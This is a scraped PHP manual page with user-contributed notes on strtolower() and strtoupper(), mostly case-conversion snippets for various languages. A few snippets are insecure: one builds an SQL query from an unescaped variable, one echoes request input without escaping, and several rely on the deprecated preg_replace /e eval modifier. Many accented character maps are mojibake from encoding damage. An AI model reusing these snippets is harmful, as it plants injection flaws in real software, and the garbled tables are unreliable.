                $l1 = $l1 . substr($s, $i  + 1);
            }
            $s = $l1;

        }
    }
    return $s;
}
?>
Piotr 10-Mar-2008 01:24
///charset=iso-8859-2
 function strtolower_iso8592($string)
    {
        $low=array("ˇ" => "±", "Ć" => "ć", "Ę" => "ę", "Ł" => "ł", "Ó" => "ó", "¦" => "¶", "Ż" => "ż", "¬" => "Ľ", "Ń" => "ń");
        return strtolower(strtr($string,$low));

    }
toringe at infostill dot com 25-Oct-2007 03:27
This will work for all languages using ISO8859_1 - more code than many other but fast.

<?php
function strtolower_iso8859_1($s){
    $i = strlen($s);
    while ($i > 0) {
        --$i;
        $c =ord($s[$i]);
        if (($c & 0xC0) == 0xC0) {
            // two most significante bits on
            if (($c != 215) and ($c != 223)){ // two chars OK as is
                // to get lowercase set 3. most significante bit if needed:
                $s[$i] = chr($c | 0x20);
            }
        }
    }
    return strtolower($s);
}
?>
patricia at steuerungb dot de 17-Oct-2007 06:29
When you're not sure, how the current locale is set, you might find the following function useful. It's strtolower for utf8-formatted text:

<?php
function strtolower_utf8($inputString) {
    $outputString    = utf8_decode($inputString);
    $outputString    = strtolower($outputString);
    $outputString    = utf8_encode($outputString);
    return $outputString;
}
?>

It's not suitable for every occasion, but it surely gets in handy. I use it for lowering German 'Umlauts' like ä and ö.
mr dot blober at gmail dot com 16-Jun-2007 11:39
simple example for Polish characters
<?php
function strtolower_pl($str)
{
return strtr(strtolower($str), '[ĄĆĘŁŃÓŚŹŻ]', '[ąćęłńóśźż]');
}
?>
rok dot kralj at gmail dot com 04-Jun-2007 11:49
Slovenian characters

<?php
    function strtolower_slovenian($string)
    {
        $low=array("Č" => "č", "Ž" => "ž", "Š" => "š");
        return strtolower(strtr($string,$low));
    }

?>
marco at recchiuti dot it 22-May-2007 12:43
Maybe it is not so elegant, but it Works.
It's just a fast Idea and it is what I need.
Any hacks for other characters (link !, ? etc etc) should help.

function RemoveShouting($string)
{
     $frase = "";
     $astri = explode(".", $string);
     foreach ($astri as $elem)
    $frase .= " ".ucfirst(trim(strtolower($elem))).". ";

    return trim($frase);
}

Cheers!
M
mario dot kostelac at gmail dot com 29-Apr-2007 04:42
This is strtolower function for Croatian characters:
function strToLowerCro($string){
    $string = strtolower($string);
    $patterns[0] = '/Č/';
    $patterns[1] = '/Ć/';
    $patterns[2] = '/Ž/';
    $patterns[3] = '/Š/';
    $patterns[4] = '/Đ/';
    $replacements[0] = 'č';
    $replacements[1] = 'ć';
    $replacements[2] = 'ž';
    $replacements[3] = 'š';
    $replacements[4] = 'đ';
    $string = preg_replace($patterns, $replacements, $string);
    return $string;
}
Enjoy...
HQ063 31-Mar-2007 12:37
Similar to last function, but for spanish
    function strtolower_es($string)
    {
        $low=array("Á" => "á", "É" => "é", "Í" => "í", "Ó" => "ó", "Ú" => "ú", "Ü" => "ü", "Ñ" => "ñ");
        return strtolower(strtr($string,$low));
    }
Dinçer Akay 20-Dec-2006 02:32
Turkish Character
<?php
    function strtolower_tr($string)
    {
        $low=array("Ü" => "ü", "Ö" => "ö", "Ğ" => "ğ", "Ş" => "ş", "Ç" => "ç", "İ" => "i", "I" => "ı");
        return strtolower(strtr($string,$low));
    }

?>
Enzo_01 at abv dot bg 06-Nov-2006 11:31
two functions what works with cyrilic text

function cyr_strtolower($a) {
        $offset=32;
        $m=array();
        for($i=192;$i<224;$i++)$m[chr($i)]=chr($i+$offset);
        return strtr($a,$m);
}
function cyr_strtoupper($a) {
        $offset=32;
        $m=array();
        for($i=192;$i<224;$i++)$m[chr($i+$offset)]=chr($i);
        return strtr($a,$m);
}

ex:
 cyr_strtoupper("абвгде"); // АБВГДЕ
 cyr_strtolower("АБВГДЕ"); // абвгде
eduardor2k at redr2k dot com 08-Aug-2006 02:34
I changed it a bit and i found that it's better to put everything in lowercase, and rebuild the text the same way a teacher corrects a text, for now it only checks that the first letter after a point "." must be
in upper case.

    function RemoveShouting($string)
    {
        $string = strtolower(trim($string));

        for($i=0;$i<strlen($string);$i++){

            if($i==0){$string[$i] = strtoupper($string[$i]);}

            if($string[$i] == "."){
                while($string[$i+1] == " "){
                    $i++;
                }
                $string[$i+1] = strtoupper($string[$i+1]);
                $i++;
            }
        }

    return $string;
    }

this function would change:
Hi mi name is PETER. SOME TIMES I FORGOT TO DISABLE CAPS LOCK.

into:

Hi mi name is peter. Some times i forgot to disable caps lock.
spiceee ddotty spiceee com 06-Mar-2006 04:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
    $chars = preg_split ("//", $str);
    $tolower = true;
    $str = '';

    foreach ($chars as $k) {
        if ($k == '<') { $tolower = false; }
        if ($tolower) { $k = strtolower ($k); }
        $str .= $k;
        if ($k == '>') { $tolower = true; }
    }
    return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
red at iklanumum dot com 23-Feb-2006 06:43
I've seen this as a common use from script developers, so I would like to share the alternative way to compare 2 string (CASE INSENSITIVE) without using strtolower for faster process.

Use strcasecmp() for comparison purpose rather than comparing uncertain case of 2 string variables, because strcasecmp() is approximately 60% faster, moreover, the greater its string length the greater the difference,!
Ex. case :
$var1;    -> could be a mixture of upper & lower case
$var2;    -> could be a mixture of upper & lower case

To compare whether $var1 is exactly the same as $var2 (case insensitive manner):
Use -> if (strcasecmp($var1,$var2)==0)
rather than -> if (strtolower($var1)==strtolower($var2))
Patrick 19-Jan-2006 10:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
fackelkind 11-Jan-2006 12:03
Nifty? :D

<?php
        function is_lowercase ($str){
                return ($str == strtolower ($str));
        }
?>
mhuggins57 at yahoo dot com 19-Jul-2005 04:04
There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
    return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca 08-Dec-2004 01:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
phpContrib (A T) esurfers d o t c o m 24-Sep-2004 11:07
<?php

$b=html_entity_decode(strtolower(htmlentities($a)));

?>

will convert to lowercase most accented vocals
(it will convert � into &Agrave; into &agrave; into �)

This is not fast and clean code, it is just a quick oneliner to help you if you need a quick way to do it

�

Users with older versions of PHP can use:
$b=unhtmlentities(strtolower(htmlentities($a)));

// with unhtmlentities() as defined in the html_entity_decode() manual page:

function unhtmlentities ($string) {
    $trans_tbl =get_html_translation_table (HTML_ENTITIES );
    $trans_tbl =array_flip ($trans_tbl );
    return strtr ($string ,$trans_tbl );
}
bkimble at ebaseweb dot com 19-Jan-2003 10:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK
tty01_at_rambler_dot_ru 19-Sep-2002 07:58
Another solution for Double-Byte-Characters, based on iconv() functions, not sensible to the current locale, works on win32.

/* Converts charset */
function myConvertCharset($str, $from, $to)
{
    if(@function_exists('iconv'))
    {
        return iconv($from, $to, $str);
    }
    else if(@function_exists('recode_string'))
    {
        return recode_string($from . '..'  . $to, $str);
    }
    else
    {
        print "function iconv not exists";
        return $str;
    }
}
/* Converts a string to lowercase */
function my_strtolower($s)
{
    $t = "windows-1251";
    $d = "UTF-8";
    return myConvertCharset(strtolower(myConvertCharset($s, $d, $t)), $t, $d);
}

print my_strtolower("СЛОВО  Uppercase");
12-Sep-2002 05:17
This function is sensible to the current locale, namely the LC_CTYPE category (the default LC_CTYPE category is set from the LANG environment variable or by an explicit LC_CTYPE setting, but it can be overriden by the LC_ALL environment setting). If no locale setting is done in the enironment, the default locale will be C, for which the lowercase/uppercase conversion is based on the default character set of the system: this may convert only ASCII letters, or also ISO-8859-1 letters depending on the system...
strtok
strtoupper
String Functions


Make a string uppercase

strtolower
strtr
String Functions
PHP Manual

strtoupper

(PHP 4, PHP 5)

strtoupper — Make a string uppercase

Description

string strtoupper ( string $string )

Returns string with all alphabetic characters converted to uppercase.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (Ã¤) will not be converted.

Parameters

string

The input string.

Return Values

Returns the uppercased string.

Examples

Example #1 strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Notes

Note: This function is binary-safe.

See Also

  • strtolower() - Make a string lowercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string
  • mb_strtoupper() - Make a string uppercase

User Contributed Notes

davaco at net dot hr 06-Jan-2012 07:46
Simple function for uppercase encoding of croatian text! :)

<?php
function strtoupper_hr($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " Å¡" => " Å ",
      " Ä‘" => " Ä",
      " Å¾" => " Å½",
      " Ä" => " ÄŒ",
      " Ä‡" => " Ä†"
    ));
}
?>
james at snasta dot ie 10-Nov-2011 06:44
In the Irish language certain initial mutations can never be capitalized â€” the following simple function can be used to capitalize text in Irish.

i.e. Muintir na hÃ‰ireann -> MUINTIR NA hÃ‰IREANN

<?php
function strtoupper_ga($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " MB" => " mB",
      " GC" => " gC",
      " ND" => " nD",
      " BHF" => " bhF",
      " NG" => " nG",
      " BP" => " bP",
      " DT" => " dT",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU",
      " HÃ" => " hÃ",
      " HÃ‰" => " hÃ‰",
      " HÃ" => " hÃ",
      " HÃ“" => " hÃ“",
      " HÃš" => " hÃš"
    ));
}
?>
markus dot geiger at mayflower dot de 20-Jun-2011 09:42
NOTE: To uppercase a unicode string you simply could use mb_strtoupper($str,  'UTF-8') instead of all that bloated PHP functions ;=)
dev dot gabiu at gmail dot com 17-May-2011 04:22
This would be my short version for French characters:

<?php
function fullUpper($string){
  return strtr(strtoupper($string), array(
      "Ã " => "Ã€",
      "Ã¨" => "Ãˆ",
      "Ã¬" => "ÃŒ",
      "Ã²" => "Ã’",
      "Ã¹" => "Ã™",
          "Ã¡" => "Ã",
      "Ã©" => "Ã‰",
      "Ã" => "Ã",
      "Ã³" => "Ã“",
      "Ãº" => "Ãš",
          "Ã¢" => "Ã‚",
      "Ãª" => "ÃŠ",
      "Ã®" => "ÃŽ",
      "Ã´" => "Ã”",
      "Ã»" => "Ã›",
          "Ã§" => "Ã‡",
    ));
}
?>
christoph dot hochstrasser at gmail dot com 15-Mar-2011 08:12
For beginners: here is the most simple Camelize function for PHP. It converts underscore or dash separated strings to camelCase, optionally with a Parameter to convert them to PascalCase (often needed for Class names).

<?php

function camelize($string, $pascalCase = false)
{
  $string = str_replace(array('-', '_'), ' ', $string);
  $string = ucwords($string);
  $string = str_replace(' ', '', $string);

  if (!$pascalCase) {
    return lcfirst($string);
  }
  return $string;
}
?>
smieat 01-May-2010 04:39
perfect solutions for turkish utf-8 (including i I conversations):

<?php
function strtolowertr($metin){
    return mb_convert_case(str_replace('I','Ä±',$metin), MB_CASE_LOWER, "UTF-8");
}

function strtouppertr($metin){
    return mb_convert_case(str_replace('i','Ä°',$metin), MB_CASE_UPPER, "UTF-8");
}

function ucwordstr($metin) {
    return ltrim(mb_convert_case(str_replace(array(' I',' Ä±', ' Ä°', ' i'),array(' I',' I',' Ä°',' Ä°'),' '.$metin), MB_CASE_TITLE, "UTF-8"));
}

function ucfirsttr($metin) {
    $metin = in_array(crc32($metin[0]),array(1309403428, -797999993, 957143474)) ? array(strtouppertr(substr($metin,0,2)),substr($metin,2)) : array(strtouppertr($metin[0]),substr($metin,1));
return $metin[0].$metin[1];
}
?>
php at emanaton dot com 06-Nov-2009 08:38
I liked jesdisciple's approach to a camel case function, but needed something a little more high powered, so here is my stab at this need:

<?php
/**
 * Convert a string to camel case, optionally capitalizing the first char and optionally setting which characters are
 * acceptable.
 *
 * First, take existing camel case and add a space between each word so that it is in Title Form; note that
 *   consecutive capitals (acronyms) are considered a single word.
 * Second, capture all contigious words, capitalize the first letter and then convert the rest into lower case.
 * Third, strip out all the non-desirable characters (i.e, non numerics).
 *
 * EXAMPLES:
 * $str = 'Please_RSVP: b4 you-all arrive!';
 *
 * To convert a string to camel case:
 *  strtocamel($str); // gives: PleaseRsvpB4YouAllArrive
 *
 * To convert a string to an acronym:
 *  strtocamel($str, true, 'A-Z'); // gives: PRBYAA
 *
 * To convert a string to first-lower camel case without numerics but with underscores:
 *  strtocamel($str, false, 'A-Za-z_'); // gives: please_RsvpBYouAllArrive
 *
 * @param  string  $str              text to convert to camel case.
 * @param  bool    $capitalizeFirst  optional. whether to capitalize the first chare (e.g. "camelCase" vs. "CamelCase").
 * @param  string  $allowed          optional. regex of the chars to allow in the final string
 *
 * @return string camel cased result
 *
 * @author Sean P. O. MacCath-Moran   www.emanaton.com
 */
function strtocamel($str, $capitalizeFirst = true, $allowed = 'A-Za-z0-9') {
    return preg_replace(
        array(
            '/([A-Z][a-z])/e', // all occurances of caps followed by lowers
            '/([a-zA-Z])([a-zA-Z]*)/e', // all occurances of words w/ first char captured separately
            '/[^'.$allowed.']+/e', // all non allowed chars (non alpha numerics, by default)
            '/^([a-zA-Z])/e' // first alpha char
        ),
        array(
            '" ".$1', // add spaces
            'strtoupper("$1").strtolower("$2")', // capitalize first, lower the rest
            '', // delete undesired chars
            'strto'.($capitalizeFirst ? 'upper' : 'lower').'("$1")' // force first char to upper or lower
        ),
        $str
    );
}
Jaason 10-Jul-2009 01:48
convert polish special letters into big and small chars;p

<?php
function toUpper($string) {
    return (strtoupper(strtr($string, 'Ä™Ã³Ä…Å›Å‚Å¼ÅºÄ‡Å„','Ä˜Ã“Ä„ÅšÅÅ»Å¹Ä†Åƒ' )));
    };

function toLower($string) {
    return (strtolower(strtr($string,'Ä˜Ã“Ä„ÅšÅÅ»Å¹Ä†Åƒ', 'Ä™Ã³Ä…Å›Å‚Å¼ÅºÄ‡Å„' )));
    };
?>
chris at table4 dot com 19-Jan-2009 07:31
Simple function to change the case of your string and any accented html characters contained within it.

Inspired by fullUpper(), by silent at gmx dot li... just a little bit more atomic.

<?php

function convertCase($str, $case = 'upper')
{ //yours, courtesy of table4.com  :)
  switch($case)
  {
    case "upper" :
    default:
      $str = strtoupper($str);
      $pattern = '/&([A-Z])(UML|ACUTE|CIRC|TILDE|RING|';
      $pattern .= 'ELIG|GRAVE|SLASH|HORN|CEDIL|TH);/e';
      $replace = "'&'.'\\1'.strtolower('\\2').';'"; //convert the important bit back to lower
    break;

    case "lower" :
      $str = strtolower($str);
    break;
  }

  $str = preg_replace($pattern, $replace, $str);
  return $str;
}
?>

Depending on what you are trying to achieve you would call like this:

<?php

//with entities...
$str = convertCase(htmlentities($str, ENT_QUOTES, "ISO-8859-1"));

?>
spaceman at foo dot at 17-Apr-2008 09:59
It has been mentioned in a previous comment that all you need to do to let PHP's strtoupper() do the conversion - instead of writing more or less complicated functions yourself - is to specify the locale in which you're doing the case conversion:

<?php setlocale(LC_CTYPE, "de_AT") ?>

It is important to note that setlocale() will silently fail if it can't find the specified locale on your system, so *always* check its return value. Try different spellings: using "de_AT" as an example, there are various combinations that may or may not work for you: "de", "de_AT.utf8", "de_AT.iso-8859-1", "de_AT.latin1", "de_AT@euro", etc).

If you can't find an appropriate locale setting, check your system configuration (locales are a system-wide setting, PHP gets them from the OS). On Windows, locales can be set from the Control Panel; on Linux it depends on your distribution. You can try "sudo dpkg-reconfigure locales" on Debian-based distros, or configure them manually. On Ubuntu Dapper, I had to copy entries over from /usr/share/i18n/SUPPORTED to /var/lib/locales/supported.d/local, then do the dpkg-reconfigure.

After you're done, restart the web server.

That said, there are special cases where you want to do the conversion manually. In German, for example, the letter 'ÃŸ' (szlig) only exists as a lower-case character, and so doesn't get converted by strtoupper. The convential way to express a 'ÃŸ' in an uppercase string is "SS". This function will take care of this exception (for Latin1 and most of Latin9, at least):

<?php

define("LATIN1_UC_CHARS", "Ã€ÃÃ‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ‘Ã’Ã“Ã”Ã•Ã–Ã˜Ã™ÃšÃ›ÃœÃ");
define("LATIN1_LC_CHARS", "Ã Ã¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã©ÃªÃ«Ã¬ÃÃ®Ã¯Ã°Ã±Ã²Ã³Ã´ÃµÃ¶Ã¸Ã¹ÃºÃ»Ã¼Ã½");

function uc_latin1 ($str) {
    $str = strtoupper(strtr($str, LATIN1_LC_CHARS, LATIN1_UC_CHARS));
    return strtr($str, array("ÃŸ" => "SS"));
}

?>
jesdisciple at gmail dot com 08-Mar-2008 05:02
This function takes a space-delimited list of words and returns it as one camelcase word.
<?php
function strtocamel($str){
    $str = explode(' ', strtolower($str));
    for($i = 1; $i < count($str); $i++){
        $str[$i] = strtoupper(substr($str[$i], 0, 1)) . substr($str[$i], 1);
    }
    return implode('', $str);
}
?>

Example:
<?php
echo strtocamel('Str tO CAMEL');
?>
This will output 'strToCamel'.  To also make the first letter uppercase, change '$i = 1' to '$i = 0'.
silent at gmx dot li 15-Oct-2007 05:25
ISO-8859-1 (Latin 1) full with all special characters:

<?php
function fullUpper($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtoupper('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtoupper($result));
}

echo fullUpper("try this: Ã¤Ã¶Ã¼ÃŸ");
?>

results in

TRY THIS: Ã„Ã–ÃœÃŸ
Oliv. 11-Oct-2007 07:20
accents convertion trick :

<?php

    function ucfirstHTMLentity($matches){
        return "&".ucfirst(strtolower($matches[1])).";";
    }
    function fullUpper($str){
        $subject = strtoupper(htmlentities($str, null, 'UTF-8'));
        $pattern = '/&([A-Z]+);/';
        return preg_replace_callback($pattern, "ucfirstHTMLentity", $subject);
    }

        print fullUpper($_REQUEST["txt"]);

?>
xguimax at gmail dot com 05-Oct-2007 01:17
Portuguese version of String Capitalize in PHP.

    function strProper($str)
    {
        $noUp = array('um','uma','o','a','de','do','da','em');
        $str = trim($str);
        $str = strtoupper($str[0]) . strtolower(substr($str, 1));
        for($i=1; $i<strlen($str)-1; ++$i) {
            if($str[$i]==' ') {
                for($j=$i+1; $j<strlen($str) && $str[$j]!=' '; ++$j); //find next space
                $size = $j-$i-1;
                $shortWord = false;
                if($size<=3) {
                    $theWord = substr($str,$i+1,$size);
                    for($j=0; $j<count($noUp) && !$shortWord; ++$j)
                        if($theWord==$noUp[$j])
                            $shortWord = true;
                }
                if( !$shortWord )
                    $str = substr($str, 0, $i+1) . strtoupper($str[$i+1]) . substr($str, $i+2);
            }
            $i+=$size;
        }
        return $str;
    }
marcinhacia at gazeta dot pl 31-Jul-2007 08:15
In response to strtoupper:

There is a simpler way to change the first letter of a string to uppercase:

<?php
$string='this is a much more simpler way to capitalise the first character of a string';
echo ucfirst($string); // This is a much more...
?>
16-May-2007 01:40
<?php
$string='this is a simpler way to capitalise the first character of a string';
$string[0]=strtoupper($string[0]);
echo $string; // This is a simpler way...
?>
RUNET 17-Apr-2007 05:33
Russian

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\xE0\xE1\xE2\xE3\xE4\xE5".
    "\xb8\xe6\xe7\xe8\xe9\xea".
    "\xeb\xeC\xeD\xeE\xeF\xf0".
    "\xf1\xf2\xf3\xf4\xf5\xf6".
    "\xf7\xf8\xf9\xfA\xfB\xfC".
    "\xfD\xfE\xfF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\xC0\xC1\xC2\xC3\xC4\xC5".
    "\xA8\xC6\xC7\xC8\xC9\xCA".
    "\xCB\xCC\xCD\xCE\xCF\xD0".
    "\xD1\xD2\xD3\xD4\xD5\xD6".
    "\xD7\xD8\xD9\xDA\xDB\xDC".
    "\xDD\xDE\xDF");
}
Cory 23-Jul-2006 09:05
This function converts any series of english words to Proper Casing.  It also accounts for words such as 'a' and 'the'.  To change what words are ignored, just change the $noUp array.

function strProper($str) {
    $noUp = array('a','an','of','the','are','at','in');
    $str = trim($str);
    $str = strtoupper($str[0]) . strtolower(substr($str, 1));
    for($i=1; $i<strlen($str)-1; ++$i) {
        if($str[$i]==' ') {
            for($j=$i+1; $j<strlen($str) && $str[$j]!=' '; ++$j); //find next space
            $size = $j-$i-1;
            $shortWord = false;
            if($size<=3) {
                $theWord = substr($str,$i+1,$size);
                for($j=0; $j<count($noUp) && !$shortWord; ++$j)
                    if($theWord==$noUp[$j])
                        $shortWord = true;
            }
            if( !$shortWord )
                $str = substr($str, 0, $i+1) . strtoupper($str[$i+1]) . substr($str, $i+2);
        }
        $i+=$size;
    }
    return $str;
}
sjrd at redaction-developpez dot com 03-Jun-2006 11:12
Angus Lord's function has got a problem with html entities such as &amp;, for they're converted into &Amp;, which is incorrect.

The following code fixes the problem:

<?php
function to_upper($string)
{
  $new_string = "";
  while (eregi("^([^&]*)(&)(.)([a-z0-9]{2,9};|&)(.*)", $string, $regs))
  {
    $entity = $regs[2].strtoupper($regs[3]).$regs[4];
    if (html_entity_decode($entity) == $entity)
      $new_string .= strtoupper($regs[1]).$regs[2].$regs[3].$regs[4];
    else
      $new_string .= strtoupper($regs[1]).$entity;
    $string = $regs[5];
  }
  $new_string .= strtoupper($string);
  return $new_string;
}
?>
bart at insane dot at 10-May-2006 04:31
When using UTF-8 and need to convert to uppercase with
special characters like the german Ã¤,Ã¶,Ã¼ (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
    $string=utf8_decode($string);
    $string=strtoupper($string);
    $string=utf8_encode($string);
    return $string;
}
tree2054 at hotmail dot com 14-Feb-2006 10:11
An even simpler version of h3's rewrite:

<?php
function isupper($i) { return (strtoupper($i) === $i);}
function islower($i) { return (strtolower($i) === $i);}
?>
Görkem PAÇACI(gorkempacaci[et]gmail.com) 05-Jan-2006 06:36
These functions can be used on Turkish(iso-8859-9):
Turkce(iso-8859-9) icin su fonksiyonlar kullanilabilir:

$tr_low_letters = str_split("abcçdefgðhýijklmnoöpqrsþtuüvwxyz");
$tr_up_letters = str_split("ABCÇDEFGÐHIÝJKLMNOÖPQRSÞTUÜVWXYZ");
function tr_uppercase($str) {
    global $tr_low_letters, $tr_up_letters;
    return str_replace($tr_low_letters, $tr_up_letters, $str);
}
function tr_lowercase($str) {
    global $tr_low_letters, $tr_up_letters;
    return str_replace($tr_up_letters, $tr_low_letters, $str);
}
function tr_fuppercase($str) {//only first letter uppercase
    return tr_uppercase($str[0]) . tr_lowercase(substr($str,1));
}
Vadim from Baku 27-Nov-2005 01:55
The following function counts uppercase letters in English and Cyrillic. It works great with cyrillic when strtolower doesn't work due to enviroment settings.(Thank you Sean!).

preg_match_all("@[A-ZÀ-ß]@",$str,$m,PREG_OFFSET_CAPTURE)

It is probably displayed incorrectly due to page encoding, but there are range from the first uppercase letter of the latin alphabet to the last one and range from the first uppercase cyrillic alphabet letter to the last one in the pattern. Not sure but similar approach can work for other alphabets.
Beniamin 25-Nov-2005 06:04
Here is correct str2upper function for polish programmers (plus str2lower function):

<?php
function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xB3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xA3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
}

function str2lower($text){
   return strtr($text,
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xA3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F",  // win 1250
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xB3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F" // win 1250
   );
}
?>
julas 01-Aug-2005 03:46
The code for Polish programmers was spolied a little bit - \xB3 should be turned into \xA3, not the opposite. So the correct code is:

function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xA3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xB3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
}
kirsman 07-Jul-2005 10:37
For polish programmers:

function str2upper($text){
   return strtr($text,
   "abcdefghijklmnopqrstuvwxyz".
   "\xB1\xE6\xEA\xA3\xF1\xF3\xB6\xBC\xBF". // ISO 8859-2
   "\xB9\x9C\x9F", // win 1250
   "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
   "\xA1\xC6\xCA\xB3\xD1\xD3\xA6\xAC\xAF". // ISO 8859-2
   "\xA5\x8C\x8F"  // win 1250
   );
30-May-2005 06:11
// 2005/5/30 Justin
    // Chinese_Traditional toupper
    function CT_to_upper($string)
    {
        $isChineseStart = false;

          $new_string = "";
         $i = 0;
          while($i < strlen($string))
          {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
          }
          return $new_string;
    }
    //
Justin_Lin at mail2000 dot com dot tw 30-May-2005 06:09
The following is my code for translate a given string to upper case and it will support chinese traditional :

// 2005/5/30 Justin
// Chinese_Traditional toupper
function CT_to_upper($string)
{
    $isChineseStart = false;

    $new_string = "";
    $i = 0;
    while($i < strlen($string))
    {
           if (ord(substr($string,$i,1)) <128)
            {
           if( $isChineseStart == false )
                $new_string .= strtoupper(mb_substr($string,$i,1));
           else
                $new_string .= substr($string,$i,1);
             }
             else
             {
           if( $isChineseStart == false )
                  $isChineseStart = true;
           else
                $isChineseStart = false;
             $new_string .= substr($string,$i,1);
             }
             $i++;
      }
      return $new_string;
}
//
willyann at gmail dot com 24-May-2005 09:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
12-Mar-2005 05:08
Ah, the last code were spoiled, here is the fixed one:

<?php

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\x9C\x9A\xE0\xE1\xE2\xE3".
    "\xE4\xE5\xE6\xE7\xE8\xE9".
    "\xEA\xEB\xEC\xED\xEE\xEF".
    "\xF0\xF1\xF2\xF3\xF4\xF5".
    "\xF6\xF8\xF9\xFA\xFB\xFC".
    "\xFD\xFE\xFF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\x8C\x8A\xC0\xC1\xC2\xC3\xC4".
    "\xC5\xC6\xC7\xC8\xC9\xCA\xCB".
    "\xCC\xCD\xCE\xCF\xD0\xD1\xD2".
    "\xD3\xD4\xD5\xD6\xD8\xD9\xDA".
    "\xDB\xDC\xDD\xDE\x9F");
}

?>

So, this function changes also other letters into uppercase, strtoupper() does only change: a-z to: A-Z.
30-Oct-2004 03:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
p dot thomas at inlive dot info 02-Apr-2004 04:02
Some bench :

String Copy, OUT=IN : 21.398067474365 ms

